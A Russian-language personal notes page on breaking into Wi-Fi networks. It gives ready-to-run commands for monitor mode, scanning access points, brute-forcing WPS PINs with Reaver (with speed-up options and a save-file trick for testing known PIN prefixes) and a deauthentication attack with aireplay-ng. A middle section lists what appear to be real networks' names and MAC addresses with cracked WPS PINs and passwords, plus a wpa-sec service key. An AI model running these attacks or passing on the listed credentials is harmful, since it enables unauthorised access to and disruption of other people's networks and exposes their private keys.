Hackwifi


[ Пред. ] [ Содержание ] [ След. ]

Hackwifi


Created Пятница 07 Апрель 2017

https://hackware.ru
$ iwconfig
Если в выводе этой команды есть интерфейс с описанием (обычно это wlan0) – значит, система распознала адаптер (если он подключался к беспроводной сети, чтобы загрузить Reaver, то лучше оборвать подключение). Переведем адаптер в режим мониторинга:
$ airmon-ng start wlan0
Эта команда создает виртуальный интерфейс в режиме мониторинга, его название будет указано в выводе команды (обычно это mon0). Теперь нам надо найти точку доступа для атаки и узнать её BSSID. Воспользуемся утилитой для прослушки беспроводного эфира airodump-ng:
$ airodump-ng mon0
На экране появится список точек доступа в радиусе досягаемости. Нас интересуют точки с шифрованием WPA/WPA2 и аутентификацией по ключу PSK. Лучше выбирать одну из первых в списке, так как для проведения атаки желательна хорошая связь с точкой. Если точек много и список не умещается на экране, то можно воспользоваться другой известной утилитой — kismet, там интерфейс более приспособлен в этом плане. Опционально можно на месте проверить, включен ли на нашей точке механизм WPS. Для этого в комплекте с Reaver (но только если брать его из SVN) идет утилита wash:
$ ./wash -i mon0
В качестве параметра задается имя интерфейса, переведенного в режим мониторинга. Также можно использовать опцию '-f' и скормить утилите .cap файл, созданный, например, тем же airodump-ng. По непонятной причине в пакет Reaver в BackTrack не включили утилиту wash. Будем надеяться, к моменту публикации статьи эту ошибку исправят.
Шаг 4. Запускаем брутфорс
Теперь можно приступать непосредственно к перебору PIN’а. Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:
$ reaver -i mon0 -b 00:21:29:74:67:50 -vv
Ключ "-vv" включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.
Прокачиваем Reaver
HOWTO опции, которые могут повысить скорость и эффективность перебора ключа.
Можно задать номер канала и SSID точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
Благотворно сказывается на скорости брутфорса опция '--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция '--nack':
# reaver -i mon0 -b 00:01:02:03:04:05 --nack
Опция '--eap-terminate' предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции '--fail-wait':
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

Список пин кодов для WPS.
http://drevocolor.ru/pins_for_wps.html
В первом столбике bssid начинающиеся тремя парами (байтами), если у Вас есть похожие, пробуем пины из второго столбика.
Там, где пин коды с крестиками - пишем только первые 4 цифры.
Например: reaver -i mon0 -b 00:11:22:33:44:55 -p 4626 -vv.
Но в таком случае reaver будет перебирать все варианты пина 4626XXXX после первых четырёх цифр (с 90%). Но не факт что первые 4 являются правильным и тогда сессия зациклится на 99,99%.
########################www.drevocolor.ru################
Лучше сделать так: Открываете save-файл (root/usr/local/etc/reaver (название файла смотрите по mac-адресам точек)) и меняете первую строчку в нем на искомый пин, который нужно проверить (минус 10) - 4626-10=4616 пишем 4616. Вторая и третья строчка файла - должны быть по одному нулю! Сохраняете изменения. Запускаете reaver без ключа -p (reaver -i mon0 -b 00:11:22:33:44:55 -vv), на вопрос продолжить - отвечаем y, перебор пойдёт с 4616. Ждёте, пока дойдет до искомого 4626. Если пойдет перебирать дальше 4627, 4628 и т.д. - значит не он !!! А если остановится на 4626 - первая часть пина верная! Далее reaver продолжит перебор второй части пина. Так же счетчик процентов reaver_а, перескочит на 90%, что и означает успешный подбор первой части пин кода.
##########################www.drevocolor.ru################################# Там, где


переводим интерфейс в режим монитора


sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

ASUSkombo
PIN: 06203832
Key rassvetnazakate34

zelenaya.net-137158
E8:4E:06:40:D5:5A

Vladimir
PIN 81026241
Key 34372551

voropinov
D4:6E:0E:D6:3F:D2
PIN 71847870
Key 21314151

Baikal
C4:71:54:D3:86:DA
PIN 87265248

ntara
b0:be:76:b4:42:80
Key 19690702

https://wpa-sec.stanev.org/?
key b8d9c253a28fb373ad77c6ca68082092




Использование (реализация деаутентификации)


iwconfig ath0 channel 1 #Установить канал
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AE:CE:9D ath0

Где:
• -0 означает деаутентификацию
• 1 это количество отправляемых пакетов деаутентификации (вы можете отправлять несколько, если хотите); 0 означает отправлять их непрерывно
• -a 00:14:6C:7E:40:80 это MAC адрес точки доступа
• -c 000:0F:B5:AE:CE:9D это MAC адрес клиента для деаутентификации; если это значение пропущено, то все клиенты будут деаутентифицированы
• ath0 это имя интерфейса





Содержание